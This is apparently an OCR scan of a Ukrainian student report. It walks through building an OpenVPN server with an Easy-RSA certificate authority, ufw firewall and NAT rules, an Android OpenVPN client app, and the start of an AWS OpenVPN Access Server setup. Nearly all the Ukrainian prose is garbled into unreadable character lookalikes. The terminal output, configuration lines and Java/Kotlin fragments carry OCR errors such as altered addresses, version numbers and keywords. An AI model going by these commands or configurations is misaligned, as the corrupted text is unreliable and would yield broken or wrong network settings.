cepruikarii. 3 MeTOI0 Oe3MeKu MU B3aEMOJIIT 10 IIeHTpa cepTudikaiii Oyie 3aBxau

3amUTyBaTHUCS MapOJIb, SKIIO 111 [1i He TOTPiIOHI — TO MOKHA JI0JaTH mapaMeTp NOPass B

komanay build-ca.

(] Tepmunan Bc, 22 man 17:34
[+l vadym@vadym-VirtualBox: ~feasy-rsa

Error reading password from BIO
Error getting password

Easy-RSA error:
Failed create CA private key

S nano vars
B $ .feasyrsa build-ca
Using SSL: openssl OpenSSL 3.8.2 15 Mar 2022 (Library: OpenSSL 3.0.2 15 Mar 20
2)

Enter New CA Key Passphrase:

Re-Enter New CA Key Passphrase:

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Common Name (eg: your user, host, or server name) [Easy-RSA CA]:
CA creation complete and you may now import and sign cert requests.

Your new CA certificate file for publishing is at:
Jhome fvadym/easy-rsa/pki/ca.crt

o |

Pucynox 2.3 — I'enepyBanns ceptudikatiB (MPUBATHOTO) Ta MyOJIYHOTO KIIIOUEH

Ca.crt e Bigkputum ¢aiinom ceprudikara L{C. Kopucrtysaui, cepBepu Ta KIIEHTH
OyIyTh BUKOPUCTOBYBATH II€H cepTU(IKAT AJIsi TOTO, MO0 MiABEPIUTH 110 BOHU €

YAaCTHHOIO OJIHIEIO CUCTEMHU.
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+1 vadym@vadym-VirtualBox: ~/easy-rsa Q =
Common MName (eg: your user, host, or server name) [Easy-RSA CA]:
CA creation complete and you may now import and sign cert requests.

our new CA certificate file for publishing is at:
/home /vadym/easy-rsa/pki/ca.crt

3 $ cat pkifca.crt

BEGIN CERTIFICATE
MIIDSzZCCAjOgAWIBAQIUId2IIYGyWUtCwyBvUidUaZdSpDOwDQYIKoZIhvcNAQEL
BQAWF jEUMBIGA1UEAWWLRWFZzeS1SUOEQQOEWHhCNMI IWNTIYyMTQzZNDQ4WhcNMz Iw
NTESMTQzNDQ4W jAWMRQWEQYDVQQDDAtFYXNSLVITQSBDQTCCASIWDQYIKoZIhveN
AQEBBQADggEPADCCAQoCggEBAMS ZEMVdcrZUzGTgrGhpFeuepkM6EpAq6HE698KIZ
15x1MHNDQdGVBNFYUciKvZluzM2R21LHBKSOMVAD jT5JyFe+j7umNi/24bKnKGodf
iPLFZIM1IxXLtZ61pGLO191mNsBIeXuldgX2 jCKKIhbwy+yxkhddf48IP2x9unmg

UEKWEWTV+1pjrhG2gVx8SRbhV6TI199+fzWIppZIZaBiRNkWcbCARQNRWEEXSW3
/ckUw69X99yalsdnAoIk1RZ+9krIsxphCRF6yVdBSL30SRE/b28gE70ysRTaxyY51
FDOVMFLWUUUG6QgWOWLWT +9 /vKqHASVIVPbOO1X /hEN1RgXOMCAWEAAAOBKDCB jTAd
BgNVHQ4EFgQUglvGdgP5ronxg1QE8URGUVdkQmYWUQYDVROjBEOWSIAUgLvGdgP5s
ronxg1QE8UR6UVAkQmahGqQYMBYXFDASBgNVBAMMCAVhc3ktUINBIENBghQh3Ykh
gbJZSALDLY9SJ1Rp11KkPTAMBgNVHRMEBTADAQH/MASGA1UdDWQEAWIBE jANBgkq
hkiG9wABAQSFAADCAQEASSMEI t2griMPQ441AbQv/ZtFSd8CYBXpK/7s20lAWTTM
hzbA6QXcfFc6/I9D+GTSXpnM5qdrQ9Ia9iNxfiX23Jzm6wFzY [LjOC4pKBt7Taar
radllkoqus42oadjvkfpaahvTz94r@IDM3WcIOTNAQjAZHY11nX71IvXxKpyeePY1s
H68JpHMIZWXxqZKwjHBVIBL2Fywen3ghCdqZnWOROPRIQAINAWNQLY388DLt95dhL
OhvRNZGCcufENVKITS /e7r0qGOikNKC1cPEmOKe1fmAnq5delos / JdAGIFLEUTNHX
+5L1224WVuliBlXive3yljZHIVUTesNgUpwNhi5XRQ==

END CERTIFICATE

I3

=

Pucynox 2.4 —JlemoHcTpallisi sreHepoBaHOro cepTudikary

TakuM YMHOM, HAJIAIITOBAHO LEHTpP cepTudikauii. Ternep Mu MOKEMO NEPEBIPSATH
3reHepoBaHi cepTudikaru.

[+ vadym@vadym-VirtualBox: ~

RSA)
Creating SSH2 ECDSA key; this may take some time ...
256 SHA256:2yM5wiX8z6VusWSFKdd+YXWWORZmz8FZ()gEXhas7HV4 root@vadym-VirtualBox (E
CDSA)
Creating SSH2 ED25519 key:; this may take some time ...
256 SHA256:zKZRTiMWDeWBzS5XEL1ECY6n2fcF2+1aRfy+/WWeM6as root@vadym-VirtualBox (E
D25519)
Created symlink /etc/systemd/system/sshd.service — /1lib/systemd/system/ssh.serv
=
Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service = /lib/
systemd/system/ssh.service.
rescue-ssh.target is a disabled or a static unit, not starting it.
ssh.socket is a disabled or a static unit, not starting it.
HacTpansaetca naket ssh-import-id (5.11-6ubuntul) ..
HacTpauBaeTca nakeT ncurses-term (6.3-2) ..
O6pabaTeiBawTCA Tpurrepel AnA man-db (2.10.2-1) ..
ObpabaTteBantca Tpurreps ana ufw (0.36.1-4buildl) ..
~S W
20:06:40 up 9 min, 1 user, load average: 0,56, 0,72, 0,44
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
vadym tty2 tty2 19:57 9:34 0.18s 0.16s fusr/libexec/g
;-8 sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with flib/systemd/s
ystemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
:% sudo ufw allow ssh

Mpasuna obHoBNEHH
MpaBuna obHoBneHs (v6)
)

Pucynok 2.5 —HanamryBanus (aiipBoiy Ta Openssh
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Ha puc. 2.5 HanmamtoByeMo Ha cepBepl Ta cepTudikaiiitHoMy cepBepi MOKIMBICTh

MIIKITF0YeHHS 1o SSH 1 mepeayi 1aHux

vadym@vadym-VirtualBox: ~

TX packets 620 bytes 63190 (63.1 KB)
TX errors ® dropped ® overruns ® carrier @ collisions @

flags=4099<UP ,BROADCAST ,MULTICAST> mtu 1508

ether 98:00:27:1d:f8:8c txqueuelen 1000 (Ethernet)

RX packets ® bytes @ (0.0 B)

RX errors @ dropped @ overruns @ frame @

TX packets © bytes @ (9.0 B)

TX errors @ dropped ® overruns @ carrier 8 collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host=
loop txqueuelen 1000 (JlokanbHaa netna (Loopback))
RX packets 436 bytes 42823 (42.8 KB)
RX errors ® dropped ® overruns © frame @
TX packets 436 bytes 42823 (42.8 KB)
TX errors ® dropped ® overruns ® carrier @ collisions @

:$ sudo scp /home/vadym/easy-rsa/pki/reqs/server.req vad

ym@200.21.6.5: /tmp

The authenticity of host '200.21.6.5 (200.21.6.5)' can't be established.
ED25519 key fingerprint is SHA256:zKZRTiMWDeWBzSXEL1ECY6n2fcF2+1aRfy+/WWeMbas.
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '200.21.6.5' (ED25519) to the list of known hosts.
vadym@2ee.21.6.5's password:

server.req 100% 887 36.6KB/s 00:00

-y |

Pucynok 2.6 —Ilepenaua ceptudikary
Ha puc 2.6 Oyno nepenano nepegaHo cepTudikaT Ajisl HEPEBIPKH JIIKBIIHOCTI.

vadym@vadym-VirtualBox: ~feasy-rsa Q = - gl

has not been cryptographically verified. Please be sure it came from a trusted
source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 825 days:

subject=
commonName

Type the word 'yes' to continue, or any other input to abort.
Confirm request details: yes
Using configuration from /home/vadym/easy-rsa/pki/easy-rsa-4905.kyHpKf/tmp.rdpi
Sz
Enter pass phrase for [home/vadym/easy-rsa/pki/private/ca.key

40CT751F7007F0000:error:0700006C: configuration file routines:NCONF_get string:no
value:../crypto/conf/conf_lib.c:315:group=<NULL> name=unique_subject

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

commonName :ASN.1 12:'server'

Certificate is to be certified until Aug 24 17:33:09 2024 GMT (825 days)

Write out database with 1 new entries
Data Base Updated

Certificate created at: fhome/vadym/easy-rsa/pki/issued/server.crt
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vadym@vadym-VirtualBox: ~/easy-rsa

nter pass phrase for fhome/vadym/easy-rsa/pki/private/ca.key:

OC751F7007FO000: error:0700006C:configuration file routines:NCONF_get_string:no
value:.. /cryptofconf/conf_lib.c:315:group=<NULL> name=unique_subject

heck that the request matches the signature

ignature ok

he Subject's Distinguished Name is as follows

ommonName B .1 12:'server'

ertificate is to be certified until Aug 24 17:33:09 2024 GMT (825 days)

rite out database with 1 new entries
pata Base Updated

ertificate created at: /home/vadym/easy-rsa/pki/issued/server.crt

S scp pki/issued/server.crt vadym@200.21.6.6:/
mp
he authenticity of host '200.21.6.6 (200.21.6.6)' can't be established.
D25519 key fingerprint is SHA256:GGp0s0zDdIxvHRIHSoAy9agXyCzs+040x/ZECL9E0gQ].
his key is not known by any other names
hre you sure you want to continue connecting (yes/no/[fingerprint])? yes
arning: Permanently added '200.21.6.6' (ED25519) to the list of known hosts.
adym@z200.21.6.6's password:
berver.crt 100% 4609 90.8KB/s 00:00
B S scp pki/ca.crt vadym@200.21.6.6: /tmp
1.6.6's password:
100% 1204 360.1KB/s 00:00

Pucynok 2.7 — Ilinnuc ceptudikara ta Bignpaska ix Ha OpenVVPN cepsep

Jns 61nb1n 6€311eYHoro 3’ €IHAaHHSA MK KOPUCTYBA4eM 1 CEpBEPOM BUKOHAEMO
obdyckamis TLS

S cd ~/easy-rsaf
S openvpn --genkey secret ta.key

S iudo cp ta.key fetc/openvpn/server/
[

=

Pucynok 2.8 — HanamryBanus TLS o6dyckarris

vadym@vadym-VirtualBox: fetc/openvpn

GNU nano 6.2 server/server.conf *

eepalive 10 120

tls-auth ta

lokasaTb NPUAOKEHNA nyucaTh BY nowck WY BupesaTb Wl BeNOAHUTB
i Buixoa B 4utoaiin Wl 3amena WY BcraeuTh W8] BhpOBHATHL

1 (o & & =1 9 (@ [#] Riaht Control

Pucynox 2.9 — YBimkaeHHs 00dyckairii B daiinax koHdpiryparrii
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B aiini server.conf BimoOpaskaeThes yci koHgirypaiiiiai gaxi as openVPN,
MOYMHAIOYH BiJI aBTOpH3AIlii, 3aKiHIYMIOYH JOJaTKOBAMH IHCTPYMEHTAMU JJISI 3aXUCTY

BIJI aTax.

vadym@vadym-VirtualBox: fetc/openvpn

GNU nano 6.2 server/server.conf *

tls-auth ta.key ©@ # This file is secret
ls-crypt ta.key

cipher AES-256-CBC
ipher AEs-256-GCMjj

compress lz4-v2
push "compress lz4-wv2"

M® Cnpaska W SanucaTtb Wi Mownck @l BoipesaTtb @l BbiNOAHWTbL
R Boixon Wil YuTOain Wl 3ameHa al BcTaBuTh Wl BbipOBHATH

Pucynox 2.10 — YBiMKHeHHs Tuily mudpyBaHHs B ¢aiaax KOHPIrypaisax

vadym@vadym-VirtualBox: /etc/fopenvpn Q = = a

GNU nano 6.2 etc/sysctl.conf *

net.ipv4.ip_forward=1

We Cnpaeka B 3anucaTtb WY Mowmck Wy Bupe3aThb Wl BhINOAHUTHL
W Boixopn Wi YuTOann W 3ameHa Wl BcTaButb @B BbipoBHATH

Pucynox 2.11 — YBIMKHEHHS MEPECUIIKU BX1HOTO Tpadiky

Kobununcoxuit B
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[le my»e BaxxIuBail mapameTp, Ikl MOBUHEH OyTH J0J1aHui B (haiisl KoHpiryparrii
sysctl.conf, Bin m03BoJIsIE MapIIPYTHU3YyBaTH YBeCh Tpadik kiieHTa uepe3 IP agpecy

cepBepa, a mybsiuHa aapeca KiieHTa Oyae GakTHIHO IPUXOBaHA.

vadym@vadym-VirtualBox: fetc/openvpn

GNU nano 6.2 server/server.conf *

compress lz4-v2
push "compress lz4-v2"

max-clients 1600

broup nobody

l® Cnpaska W¢ 2anucaTb WY Nowck g BopesaTe Wl BHINONMHWTB
Wy Buixog Wy Yutdain | 3ameHa MY BcTaBuTb ae BoipoBHATHL

Pucynok 2.12 — HanamryBanHst OTpUMaHHS JOCTYITY
Ha puc 2.12 mMu Bkazyemo Te, 06 micis ioro 3amycka, OpenVPN 3amyckaBcs 6e3

MIPUBEJIETIIB

vadym@vadym-VirtualBox: /etc/openvpn

GNU nano 6.2 etc/ufw/before.rules *

nat
POSTROUTING ACCEPT [©:0]

A POSTROUTING -s 10.8.8.0/8 -o enp0s3 -j MASQUERADE
OMMIT

filter

ufw-before-input - [8:0]
ufw-before-output - [0:0]
ufw-before-forward - [0:0]
ufw-not-local - [0:0]

8 CnpaBka 3anucaTthb Wt Mownck BeipesaTtb BINONHHUTb
A

B4 Brixop il YuTtdann M\ EEELEE] W BcTtasutb Wl BblpoBHATHL

Pucynok 2.13 — HanamrryBanust VPN npaBuin
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vadym@vadym-VirtualBox: fetc/openvpn

GNU nano 6.2 etc/default/ufw *

DEFAULT_INPUT_POLICY="DROP"

DEFAULT_OUTPUT_POLICY="ACCEPT"

DEFAULT_FORWARD_POLICY="ACCEPT"

DEFAULT_APPLICATION_POLICY="SKIP"

gl¥ CnpaBka @Y ZanucaTtb Wt MNouck W BuipezaTb Wl BLiNONHWUTE
W Buixon i YuTdain sl 3ameHa Wl BcTaBwuThb W BopOBHATH

Pucynok 2.14 — HanamryBaHHs NOJITUKH

Ha puc. 2.14 3a nonomororo napamerpa FORWARD BmukaeTbcs rnepecuika nakeTiB 3a

3aMOBYYBAaHHSM.

S sudo ufw allow 1194/udp
Npaeuno pobaeneHo
Npasuno pobaBneHo

S sudo ufw allow OpenSSH

Npaeuno pobaeneHo
Npasuno pobaBneHo

Pucynoxk 2.15 — HanamryBanus daiipoitry

BigkpuBaemo nocty B daiiepsouti g0 nopty 1194 (UDP)
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[+ vadym@vadym-VirtualBox: fvar/log/openvpn Q = = al

et_route_v4_add: 10.8.0.0/24 via 10.8.0.2 dev [NULL] table ©® metric -1
alled to find GID for group nobody

xiting due to fatal error

et_route_v4_del: 10.8.0.0/24 via 10.8.0.2 dev [NULL] table © metric -1
losing TUN/TAP interface
et_addr_ptp_v4 del: 10.8.0.1 dev tun@

S sudo nano [etc/openvpn/server/server.c
on T
$ sudo systemctl start openvpn-server@se
ver
S sudo systemctl status openvpn-server@s
erver
openvpn-server@server.service - OpenVPN service for server
Loaded: loaded (/lib/systemd/system/openvpn-server@.service; enabled; ven!
Active: since Mon 2022-05-23 01:58:34 EEST; 2s ago
Docs: man:openvpn(B)
https://community.openvpn.net/openvpn/wiki/0Openvpn24ManPage
https://community.openvpn.net/openvpn/wiki/HOWTO
Main PID: 12613 (openvpn)
Status: "Initialization Sequence Completed”
Tasks: 1 (limit: 2292)
Memory: 1.8M
CPU: 3@ms
CGroup: jsystem.slicefsystem—openvpn\xzdserver.slice}openvpn—server@servei
L12613 fusr/sbin/openvpn --status /run/openvpn-serverfstatus-serpg

n°“a 3aTb NPUNOKEHNA m.yirtualBox systemd[1]: Started OpenVPN service for serveg

"im-VirtualBox systemd[1]: Starting OpenVPN service for servi
lines 1-16/16 (END)

Pucynox 2.16 — Jlemonctpartis 3amycky OpenVVPN cepsepa

Sk BumHO 3 puc. 2.16 3a onoMoror koManau systemctl ta mapamerpy start samyieno i

HaNamToBaHO aBToMaTnyHMiA 3amyck OpenVPN cepBepa, cepBep aKTUBHHUIA.

vadym@vadym-VirtualBox: /

GNU nano 6.2 home /vadym/client-configs/base.conf *

tls-auth ta.key 1

cipher AES-256-CBC
ipher AES-256-GCM
buth SHA256
ey-direction 1

¥ CnpaBka WY 3anvcaTb Wt Nowck Wy BoipesaTb Bl BLINONHWTb
R4 Bhixop Wi Yutdain Wl 3amMeHa W' BcTaBuTb Wl BLIpoOBHATH

Pucynok 2.17 — HanamryBanHsa 6a30Boro KOHpIry
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Ha puc. 2.17 6yno nanamroBan (aits1 KoH(Iryparlii AJ1s1 KOpUCTyBauviB, sIKi Oy Ay Th
HIKIIOYUTUCA IO cepBepy. 3ajaHi CTaHAapTHI Ta HEOOX1H1 TapaMeTpH JIsl YCIIIIHOTO

T TKJTFOUYEHHS.

GNU nano 6.2 home /vadym/client-configs/make config.sh

KEY DIR=~/client-configs/keys
QUTPUT_DIR=~/client-configs/files
BASE_CONFIG=~/client-configs/base.conf

MpoYnTaHo 18 CTpPOK
WY Cnpaska W 3anucate Wy Monck Wi BuipesaTb Wl BuNONHWTB
W Boixop REEURCEDT) WY 3ameHa WY BcTaButhb W8 BbipOBHATH

Pucynok 2.18 — HamamryBanus 6a30Boro koHpiry
Ha puc. 2.18 6yno cTBOpeHO CKPUMNT SIKUM 3aMOBHIOE (aitin nanux GopmaTom .0VPN 3

NOTPIOHMX MapaMeTpiB, AK1 HOTIM NOTPIOHO MepeaaTH KOPUCTyBavy

1 vadym@vadym-VirtualBox: ~/client-configs Q =

w)n
. /make_config.sh: cTpoka 17: ° <echo -e '</tls-crypt>') \'
8 $ nano ~/client-configs/make_config.sh
H $ ./make_config.sh client1
3 /home/vadymfcllcnt configs/keys/ca.crt: HeT Takoro daina wnu kaTanora
3 }home}vadymfcllent configs/keys/clientl.crt: HeT Takoro daiWna wnn kaTanora
$ ./make_config.sh client1
A /home/vadym/cllcnt configs/keys/ca.crt: Her Takoro ¢aina wiu katanora
B /homc/vadym/cllcnt configs/keys/clientl.crt: Het Takoro daina wnm KaTanora
8 $ nano ~/client-configs/make_config.sh
H $ ./make_config.sh client1
3 fhome/vadymfcllcnt configs/keys/ca.crt: HeT Takoro daina wnu kaTanora
3 fhome/vadymfcllent configs/keys/clientl.crt: HeT Takoro daina wan KaTanora
A $ nano ~/client-configs/make_config.sh
S ./make_config.sh client1l
##############################################
Sample client-side OpenVPN 2.0 config file #
for connecting to multi-client server. #

This configuration can be used by multiple
clients, however each client should have
its own cert and key files.

On Windows, you might want to rename this
file so it has a .ovpn extension
HERHAHBHUH SR AR AU B R BH AR R HE R AR HBHER AR B BH BN

#
#
#
#
#
#
#
#
#
#

#
#
#
#
#
#
#
#

# Specify that we are a client and that we
# will be pulling certain config file directives

Pucynok 2.19 — Pe3ynpTaT BUKOHAHHS CKPUIITY
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201.21.

(T 'earianinia OpenVPN (dropmefiles.com.ua_client1 (1]

¥ Ligit 4ac CTATYC: MiAKMIOUEHO.

Mon May 23 17:48:58 2022 Route addition via service succesded

Mon May 23 17:48:58 2022 C:\Windows'\system32'voute exe ADD 0.0.0.0 MASK 128.0.0.010.8.0.5

Mon May 23 17:48:58 2022 Route addition via service succeeded

Mon May 23 17:48:58 2022 C:\Windows\system 32\route exe ADD 128.0.0.0 MASK 128.0.0.0 10.8.0.5

Mon May 23 17:48:58 2022 Route addition via service succeeded

Mon May 23 17:48:58 2022 MANAGEMENT: >STATE:1653317338.ADD_ROUTES,

Mon May 23 17:48:58 2022 C:\Windows'\system32\voute exe ADD 192.168.10.0 MASK 255.255.255.0 10.

Mon May 23 17:48:58 2022 Route addition via service succesded

Mon May 23 1 -48:58 2022 C:\Windows'system32\route .exe ADD 192.168.20.0 MASK 255.255.255.0 10.
22 Flnute addition via service succeede:

WMon May 23 17:48:58 2022 WARNING: this corfiguration nay cache passwords in memery ~ Use the auth+
Mon May 23 17:48:58 2022 Initialization Sequence Completes
Mon May 23 17:48:58 2022 MANAGEMENT: >STATE:1 55331 7338, CONNECTED,SUCCESS,10.8.06.. ZDD

< >

Otpumario IP: 10.8.0.6
JasanTaxeto Sait: 3562 (3.5 KiB) Nepenaro Gait: 9063 (8.9 KiB) OpenVPN GUI 11.28.0.0/2.5.6

BinemHam FepHaTMCA SHOBY 3eepHy™

Pucynok 2.20 — Pe3ynbTaT nmiakiIrodeHHs 10 VPN cepBepa

Ak BugHO 3 puc. 2.20 KIEHT YCHIIIHO MIAKIIOUYUBCS Ta oTpuMaB IP aapecy, sxa Oyina

HanamToBaHa B (paiimax koHpirypaiisx Ha cepsepi OpenVPN.

1.ACTBOpEeHHsI MOOUILHOT0 10JATKY-KJi€HTa HA (6a3i npoTrokoay OpenVPN

CtBopeHHsI MOOiTBHOTO o1aTKy Oyne BinOyBatucs B IDE Android Studio 3a
JIOITOMOT'0I0 MOB IIPOrPaMyBaHHS:

- Java/Kotlin/Aidl/JniLibs

- XML (MoBa po3miTKH)

Kineunuii pe3yiabTaT NpoAyKTy 300pakeHo Ha puc. 2.21

eRmMZrg 00 s il = @D

Japan

NONE INFORM#

Connect

00:00:00 0 seconds

Pucynok 2.21 — JlemoHCTpallisi TOTOBOT'O MPOAYKTY
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F?xml version encoding fragment_main.xml

K <androidx.constraintlayout.widget.Cunsucl

xmins:

© U 0dp pe

B% Palette

xmins:
:layout_width
:layout_height
:orientation SERVER 2

:context

:id Connect
:layout_width
:layout_height
:layout_marginTop
:layout_constraintTop_toBbtti
:rb_color =
:rb_duration 2
:rb_radius 0 seconds
:rb_rippleAmount
:rb_scale

Byte Out

androidx.constraintlayout.widgi EMIE
+130 kB

:id
:layout_width

@ Component Tree

Pucynoxk 2.22 — JleMoHCTpallisi CTBOPEHHS JU3ANHY

Vi nani ¢aiini koHdirypaiiii 0ysau 310paHi Ha OE3KOITOBHUX pecypcax Ta J0/laHi B
0a3y naHux.

startVpn()

) .openStream()

¢ trimlndent()l

br.peadLini

Pucynok 2.23 — JlemoHcTpanis QyHKIi 3a11ycKy cepBiCy
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Ha puc 2.23 300paxeHo (QyHKIIII0-KOPYTHHY, SIKa aCHHXPOHHO 3aITyCKa€ YATAHHS
JaHUX 13 daimy .ovpN, skuii 0yio 10 [OT0 30€peKEHO K aKTUBHUN CepBeEp.
[TpounTtaBim koH}Irypariito daiury i mepemasmm ii B OpenVpnApi(kiacce, skuid
reaepye VpnProfile — e kiac, sikuii 30epirae iHpopmariito npo ceptudikar), Oyzae
ctBopeHo foreground service. B cepBici BinOyaeThCs OUiKyBaHHS KJII€EHTA 1 OTPUMAaHHS

1H(pOopMarlii.

@5uppressLint("NewApi™)

public class KWpnService extends VpnSerwice {
private Thread mThread;
private ParcelFileDescriptor mInterface;
// a. Configure a builder for the interface.
Builder builder = mew Builder();

// Services interface
@0verride
public int onStartCommand(Intent intent, int flags, int startId) {
/! Start a new session by creating a new thread.
mThread = new Thread{new Runnable() {
@0verride
public void run() {
try {
// a. Configure the TUN and get the interface.
mInterface = builder.setSession("MyVPNService™).addAddress("1¢
.addDnsServer("8.8.8.8").addRoute("0.08.0.0", @ stabl
// b. Packets to be sent are gueued in this input stream.
FileInputStream in = new FileInputStream(mInterface.getFileDes
// b. Packets received need to be writtem to this output
// stream.
FileQutputStream out = new FileOutputStream{mInterface.getFile
f// c. The UDP channel can be used to pass/get ip package
// to/from server
DatagramChannel tunnsl = DatagramChannel.opesn();
// Connect to the server, localhost is used for
// demonstration only.
tunnel.connect{new InetSocketfAddress{"127.8.@.1", B887));
// d. Protect this socket, so package send by it will not be
// feedback to the vpn service.
protect(tunnel.socket(});
{/f e. Use a loop to pass packets
while (true) {
// get packet with in
// put packet to tunmel
{// get packet form tunnel
// return packet with out
// sleep is a must
Thread.sleep(128);

¥

} catch (Exception e} {
// Catch any exception
e.printStackTrace();

¥ finally {
try {

Pucynok 2.24 — JlemoHcTpaiist GyHKIIIT 3ayCKy CEpBICY
Ha puc 2.24 ctBopeno Oyio cepsic VPN, sikuii minkmogaerses no localhost. Tak sik e

cepBic, To BiH mpaiitoe B GoHi. [lporo koma ta peamizaiii VPNService kiacy ta qesikux

psAnKkiB B MaHiecTi Oyie 10CTaTho 00 MAKIIOYUTUCH 10 CepBepa.

Jlst Toro o6 MoxHa OyJ10 CTBOPHUTH 3'€AHAHHS MOOUTEHOTO fAonaTky Ta OpenVPN

cepBepy, notpioHO peanizyBatu AIDL inTpdeiic (MiknpouecopHa B3aeMOIis).
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v I main

v aidl
> com.android.vending.billing
v de.blinkt.openvpn

v api

ExternalCertificateProvider.z

I0penVPNStatusCallback.ait
core

ConnectionStatus.aidl
|IOpenVPNServicelnternal.ai
IServiceStatus.aidl
4 |StatusCallbacks.aidl
Logltem.aidl
TrafficHistory.aidl

Pucynok 2.25 — Cteopennst AIDL (MibkIpoiiecopHa B3aeMo/1is)

Ha puc 2.25 6yno nokazano iHTepdeiici, B sikux Oyia HanvcaHa JIOTiKa JJisg B3a€MO/I1i
BITH JI0JIaTKa Ta cepBepa. TakuM YUHOM, B JIOJATKy CTBOPIOETHCS «KIIIEHT-CEPBEPHA
apxiTektypa. Jle KIeHT 1e 10AaToK, a cepep 1e (teraedon — linux cucrema), sika
BUKOHY€ POJIb CEPBEPA, KA MPALIIOE B IHIIOMY HOTOILI].

TlaunchVPN()
vpnok = .checkProfile(
(vpnok != )

showConfigErrorDialog(vpnok

Intent intent = VpnService.prepare( )

SharedPreferences prefs = Preferences.getDefaultSharedPreferences(
usecm9fix = prefs.getBoolean(
loadTunModule = prefs.getBoolean(

(loadTunModule)
execeuteSUcmd

(usecm9fix && !
execeuteSUcmd

(intent != )
VpnStatus.updateStateString
ConnectionStatus.

{

startActivityForResult(intent

ActivityNotFoundException ane

Pucynoxk 2.26 — 3anmyck KoMaHIu Ha CTOPOHI cepBepa
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Ha pucynky 2.26 noka3aHa JIOTiKa, SKUM YHHOM IEePEBIPSETHCS YU YBIMKHEHHI tun/tap
Ha CTOpPOHI cepBepa. SIKII0 TaM € TOMIJIKH, TO BUMIPABIISIEMO iX 1 3amyckaemo. To0To,

3a JOIIOMOI'OIO:

e tun — onepye IP makeramu Ethernet (mys mapmpytu3zairii)

e tap — omepye kaapamu Ethernet (myis MmepesxeBoro micra)

Came miaxmroueHHs 1 00poOKa Beiel iHpopMariii, sika IOCTyTae BiJl cepBepa Ta KOMaHIH
JUTS T TKITIOYCHHS IO cepBepa 3HaxoaThes B kitacci VpnProfile
) {

(!TextUtils.isEmpty(mI ))
cfg.append( ) .append(cidrToIPAndNetmask( )) .append(

(!TextUtils.isEmpty( )

String fakegw = .split( 2)[0]
cfg.append( ) .append( ) .append( ) .append(fakegw) .append(

( &&
cfg.append(

String routes =

(
routes +=
{
(String route : getCustomRoutes(
routes += + route +

Pucynox 2.27 — I'enepyBanHs koH}iryparii

3a nonomororo Ha puc 2.27 koMaHJ Ha TenedoHI TeHepyeThCss KOHDIryparlis, sika MoTiM

BIIMPABJISATHECS HA OOPOOKY nari

String writeMiniVPN(Context context)
String nativeAPI = NativeUtils.getNativeAPI()
(Build.VERSION. >= Build.VERSION_CODES.P)
File(context.getApplicationInfo(). .getPath

String[] abis
(Build.VERSION. >= Build.VERSION_CODES.
abis = getSupportedABIsLollipop

abis = String[]{Build.

Pucynox 2.28 — 3anmyck ckpunra
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Ha pucynky 2.28 nokazano ¢aiin libovpnexec.so — 11ie creriaapHuid (aiin, sikuii € B

OpenVPN SDK 1 sikuii moTpiOHO 3aIyCTUTH Ha KJIIEHTI.

512PM7Z% 49 © ol ol R G

Japan © »

NONE INFORM N

Connected

00:00:00 0 seconds

|® Wedding agency in Denmark m

Pucynox 2.29 — JlemoHCTaIIis TMiAKIIOUEHHS 0 VPN

ALT =

2 3 45 6 7 8 90

Pucynoxk 2.30 — JleMoHcTpallisi CTBOPEHOTO TyHEIO

1.5Po3ropranns OpenVPN na 6a3i xmapuux cepsiciB AWS

Po3sropranns OpenVPN Access Server
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s Toro o6 posropaytu OpenVPN Access Server B o6:arii, 0ysio oOpaHo XMapHU

cepBic AWS Bix komnanii Amazon

© NewEC2 Experience o ®
Resources EC2 Global view [2 C Account attributes C
£
. You are using the following Amazon EC2 resources in the Asia Pacific (Mumbai) Region: > y e
S . P
a (running 0 Dedicated Host Elastic IP: 0
0  Keypa ad balance ) vec:04de
¥ Instances Settings
Instance 85 encryptior
Laur Pl €2 Serial Consc
R y size, configure, and deploy Microsoft SQL Server Always On availability groups on AWS using the AWS Launch Wizard for SQL X oot pecificatior
s er. Leam mare xperime
Dedicated
5 i Launch instance Service health C || awsHealth Dashboard 2 Explore AWS X
V. lmages jion tatu Save up to 90% on EC2 with Spot Instances
— Asia Pacific (Mumbai) @m vi operating Optimize price-performance by combining EC2 purchas s in a
; [ orm, 2 ASG.
¥ Elastic Block Store X 10 Things You Can Do Today to Reduce AWS Costs
Zones Explore how to effectively manage your AWS costs without
compromising on performance or capacity. Learn more [2
opsh Zone name Zone 1D
Scheduled events C
e i Get Up to 40% Better Price Performance
ap-south-1a apsi-azl
Tdg instances deliver the formance for burstably
¥ Network & Security Asia Pacific (Mumbai) eI purpose workloads in Am nmore [
rity Group No scheduled ever

Pucynok 2.31 — [lepexon B rosioBHEe MeHI0 Ha ctopinii AWS

EC2 Instances Launch an instance AMIs Cancel

Choose an Amazon Machine Image (AMI)
An AMI is a template that contains the software configuration (operating system, application server, and applications)

required to launch your instance. You can select an AMI provided by AWS, our user community, or the AWS Marketplace; or
you can select one of your own AMs.

Q OpenVPN X

Quickstart AMIs (0) My AMIs (0) AWS Marketplace AMIs (44) Community AMIs (30)

Commonly used AMIs

S & trusted third-party AMIs Publis?

Refine results OpenVPN (44 results) showing 1 1 ®
Sort By: Relevance v
Categories
Infrastructure Software (44) T VPN OpenVPN Access Server m
loT (20) By OpenVEN Inc. [ | ver285
o
Fodokoko'c 43 AWS reviews [F | 143 external reviews [4
DevOps (2)
OpenVPN Access Server delivers the enterprise VPN your business has been Looking for. Protect your data communications, secure loT resources, and provide encrypted remote
¥ Publisher

access to on-premise, hybrid, and public cloud resources. Access Server provides you with a powerful and easy-to-use web-based a.
Tidal Media Inc ()

OpenVPN Inc. (8)

0 VPN OpenVPN Access Server (10 Connected Devices) m
ADEO Imaging (6) By OpenVPN Inc. [4 | Ver 2.8.
TrueStack (4) Sk 4 AWS reviews [ | 143 external reviews [4

Voleatech GmbH (2) Starting from $0.10/hr or from $700.00/yr (20°

for software + AWS usage fees
